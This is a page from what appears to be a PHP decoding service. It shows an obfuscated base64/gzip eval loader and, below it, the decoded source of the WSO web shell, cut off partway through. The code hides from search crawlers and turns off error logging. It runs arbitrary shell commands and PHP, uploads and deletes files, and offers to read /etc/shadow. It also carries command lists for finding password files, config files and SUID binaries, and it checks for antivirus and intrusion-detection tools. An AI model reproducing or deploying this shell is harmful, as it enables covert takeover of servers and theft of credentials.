Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(gzuncompress(base64_decode('eNrlfftX20bT8M99z3n/B6G6kdUYY5skT2pjAyGQkBJIueQGvK4syb..
Decoded Output download
$auth_pass="112b890b6d5e0d6dc6d36e85af33eb2d";$color="#df5";$default_action='FilesMan';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/' .implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','100.500');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<br><br><br><br><br><br><br><center><form method=post><input type=password size=2 name=pass> <input type=submit value=';)'></form></center>");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['pass'])&&(md5($_POST['pass'])== $auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!= $auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))== "win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os == 'win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!= '/')$cwd .= '/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']=(bool)$default_use_ajax;if($os == 'win')$aliases=array("List Directory"=> "dir","Find index.php in current dir"=> "dir /s /w /b index.php","Find *config*.php in current dir"=> "dir /s /w /b *config*.php","Show active connections"=> "netstat -an","Show running services"=> "net start","User accounts"=> "net user","Show computers"=> "net view","ARP Table"=> "arp -a","IP Configuration"=> "ipconfig /all");else $aliases=array("List dir"=> "ls -lha","list file attributes on a Linux second extended file system"=> "lsattr -va","show opened ports"=> "netstat -an | grep -i listen","process status"=> "ps aux","Find"=> "","find all suid files"=> "find / -type f -perm -04000 -ls","find suid files in current dir"=> "find . -type f -perm -04000 -ls","find all sgid files"=> "find / -type f -perm -02000 -ls","find sgid files in current dir"=> "find . -type f -perm -02000 -ls","find config.inc.php files"=> "find / -type f -name config.inc.php","find config* files"=> "find / -type f -name \"config*\"","find config* files in current dir"=> "find . -type f -name \"config*\"","find all writable folders and files"=> "find / -perm -2 -ls","find all writable folders and files in current dir"=> "find . -perm -2 -ls","find all service.pwd files"=> "find / -type f -name service.pwd","find service.pwd files in current dir"=> "find . -type f -name service.pwd","find all .htpasswd files"=> "find / -type f -name .htpasswd","find .htpasswd files in current dir"=> "find . -type f -name .htpasswd","find all .bash_history files"=> "find / -type f -name .bash_history","find .bash_history files in current dir"=> "find . -type f -name .bash_history","find all .fetchmailrc files"=> "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=> "find . -type f -name .fetchmailrc","Locate"=> "","locate httpd.conf files"=> "locate httpd.conf","locate vhosts.conf files"=> "locate vhosts.conf","locate proftpd.conf files"=> "locate proftpd.conf","locate psybnc.conf files"=> "locate psybnc.conf","locate my.conf files"=> "locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=> "locate cfg.php","locate conf.php files"=> "locate conf.php","locate config.dat files"=> "locate config.dat","locate config.php files"=> "locate config.php","locate config.inc files"=> "locate config.inc","locate config.inc.php"=> "locate config.inc.php","locate config.default.php files"=> "locate config.default.php","locate config* files "=> "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=> "locate '.pwd'","locate .sql files"=> "locate '.sql'","locate .htpasswd files"=> "locate '.htpasswd'","locate .bash_history files"=> "locate '.bash_history'","locate .mysql_history files"=> "locate '.mysql_history'","locate .fetchmailrc files"=> "locate '.fetchmailrc'","locate backup files"=> "locate backup","locate dump files"=> "locate dump","locate priv files"=> "locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .$_POST['charset'] ."'><title>" .$_SERVER['HTTP_HOST'] ." - WSO " .WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" .htmlspecialchars($GLOBALS['cwd']) ."';
var a_ = '" .htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" .htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" .((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" .((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" .((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" .addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!== false)$explink .= urlencode('Linux Kernel ' .substr($release,0,6));else $explink .= urlencode($kernel .' ' .substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .'/';$cwd_links .= "\")'>" .$path[$i] ."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item)$opt_charsets .= '<option value="' .$item .'" ' .($_POST['charset']==$item?'selected':'') .'>' .$item .'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as $k => $v)$menu .= '<th width="' .(int)(100/count($m)) .'%">[ <a href="#" onclick="g(\'' .$v .'\',null,\'\',\'\',\'\')">' .$k .'</a> ]</th>';$drives="";if($GLOBALS['os']== 'win'){foreach(range('c','z')as $drive)if(is_dir($drive .':\'))$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' .$drive .':/\')">[ ' .$drive .' ]</a> ';}echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' .($GLOBALS['os']== 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>' .substr(@php_uname(),0,120) .' <a href="' .$explink .'" target=_blank>[exploit-db.com]</a></nobr><br>' .$uid .' ( ' .$user .' ) <span>Group:</span> ' .$gid .' ( ' .$group .' )<br>' .@phpversion() .' <span>Safe mode:</span> ' .($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' .date('Y-m-d H:i:s') .'<br>' .wsoViewSize($totalSpace) .' <span>Free:</span> ' .wsoViewSize($freeSpace) .' (' .(int)($freeSpace/$totalSpace*100) .'%)<br>' .$cwd_links .' ' .wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\'' .$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>' .$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>' .@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>' .$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' .$menu .'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" .$GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out .= fread($f,1024);pclose($f);}return $out;}function wsoViewSize($s){if($s >= 1073741824)return sprintf('%1.2f',$s/1073741824) .' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s/1048576) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s/1024) .' KB';else return $s .' B';}function wsoPerms($p){if(($p&0xC000)== 0xC000)$i='s';elseif(($p&0xA000)== 0xA000)$i='l';elseif(($p&0x8000)== 0x8000)$i='-';elseif(($p&0x6000)== 0x6000)$i='b';elseif(($p&0x4000)== 0x4000)$i='d';elseif(($p&0x2000)== 0x2000)$i='c';elseif(($p&0x1000)== 0x1000)$i='p';else $i='u';$i .=(($p&0x0100)?'r':'-');$i .=(($p&0x0080)?'w':'-');$i .=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i .=(($p&0x0020)?'r':'-');$i .=(($p&0x0010)?'w':'-');$i .=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i .=(($p&0x0004)?'r':'-');$i .=(($p&0x0002)?'w':'-');$i .=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f))return '<font color=#FF0000>' .wsoPerms(@fileperms($f)) .'</font>';elseif(!@is_writable($f))return '<font color=white>' .wsoPerms(@fileperms($f)) .'</font>';else return '<font color=#25ff00>' .wsoPerms(@fileperms($f)) .'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function wsoWhich($p){$path=wsoEx('which ' .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){wsoHeader();echo '<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo '<span>' .$n .': </span>';if(strpos($v,"
")=== false)echo $v .'<br>';else echo '<pre class=ml1>' .$v .'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (" .mysql_get_client_info() .")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo '<br>';if($GLOBALS['os']== 'nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo '<br>';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo '<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<= $_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp .= join(':',$uid) ."
";}echo '<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo '</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']== 'info')){echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp) .'</div><br>';}echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' .(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'') .'</textarea><input type=submit value=Eval style="margin-top:5px">';echo ' <input type=checkbox name=ajax value=1 ' .($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX</form><pre id=PhpOutput style="' .(empty($_POST['p1'])?'display:none;':'') .'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo '</pre></div>';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo "Can't upload file!";break;case 'mkdir':if(!@mkdir($_POST['p2']))echo "Can't create new dir";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path .'/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== "..")||(basename($item)== "."))continue;$type=filetype($item);if($type == "dir")deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f']as $f){if($f == '..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case 'paste':if($_COOKIE['act']== 'copy'){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']== 'move'){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)@rename($_COOKIE['c'] .$f,$GLOBALS['cwd'] .$f);}elseif($_COOKIE['act']== 'zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f']as $f){if($f == '..')continue;if(@is_file($_COOKIE['c'] .$f))$zip->addFile($_COOKIE['c'] .$f,$f);elseif(@is_dir($_COOKIE['c'] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .'/'));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']== 'unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f']as $f){if($zip->open($_COOKIE['c'] .$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']== 'tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv ' .escapeshellarg($_POST['p2']) .' ' .implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" .($sort[1]?0:1) ."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" .($sort[1]?0:1) ."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" .($sort[1]?0:1) ."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" .($sort[1]?0:1) ."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=> $dirContent[$i],'path'=> $GLOBALS['cwd'] .$dirContent[$i],'modify'=> date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),'perms'=> wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'] .$dirContent[$i]),'owner'=> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=> $gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))$files[]=array_merge($tmp,array('type'=> 'file'));elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'link','link'=> readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i])&&($dirContent[$i]!= "."))$dirs[]=array_merge($tmp,array('type'=> 'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!= 'size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo '<tr' .($l?' class=l1':'') .'><td><input type=checkbox name="f[]" value="' .urlencode($f['name']) .'" class=chkbx></td><td><a href=# onclick="' .(($f['type']=='file')?'g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'view\')">' .htmlspecialchars($f['name']):'g(\'FilesMan\',\'' .$f['path'] .'\');" ' .(empty($f['link'])?'':"title='{$f['link']}'") .'><b>[ ' .htmlspecialchars($f['name']) .' ]</b>') .'</a></td><td>' .(($f['type']=='file')?wsoViewSize($f['size']):$f['type']) .'</td><td>' .$f['modify'] .'</td><td>' .$f['owner'] .'/' .$f['group'] .'</td><td><a href=# onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\',\'chmod\')">' .$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'touch\')">T</a>' .(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'download\')">D</a>':'') .'</td></tr>';$l=$l?0:1;}echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo "<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='paste'>Paste / Compress</option>";echo "</select> ";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']== 'zip')||($_COOKIE['act']== 'tar')))echo "file name: <input type=text name=p2 value='wso_" .date("Ymd_His") ."." .($_COOKIE['act']== 'zip'?'zip':'tar.gz') ."'> ";echo "<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%' .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=> 'base64_encode','Base64 decode'=> 'base64_decode','Url encode'=> 'urlencode','Url decode'=> 'urldecode','Full urlencode'=> 'full_urlencode','md5 hash'=> 'md5','sha1 hash'=> 'sha1','crypt'=> 'crypt','CRC32'=> 'crc32','ASCII to HEX'=> 'ascii2hex','HEX to ASCII'=> 'hex2ascii','HEX to DEC'=> 'hexdec','HEX to BIN'=> 'hex2bin','DEC to HEX'=> 'dechex','DEC to BIN'=> 'decbin','BIN to HEX'=> 'binhex','BIN to DEC'=> 'bindec','String to lower case'=> 'strtolower','String to upper case'=> 'strtoupper','Htmlspecialchars'=> 'htmlspecialchars','String length'=> 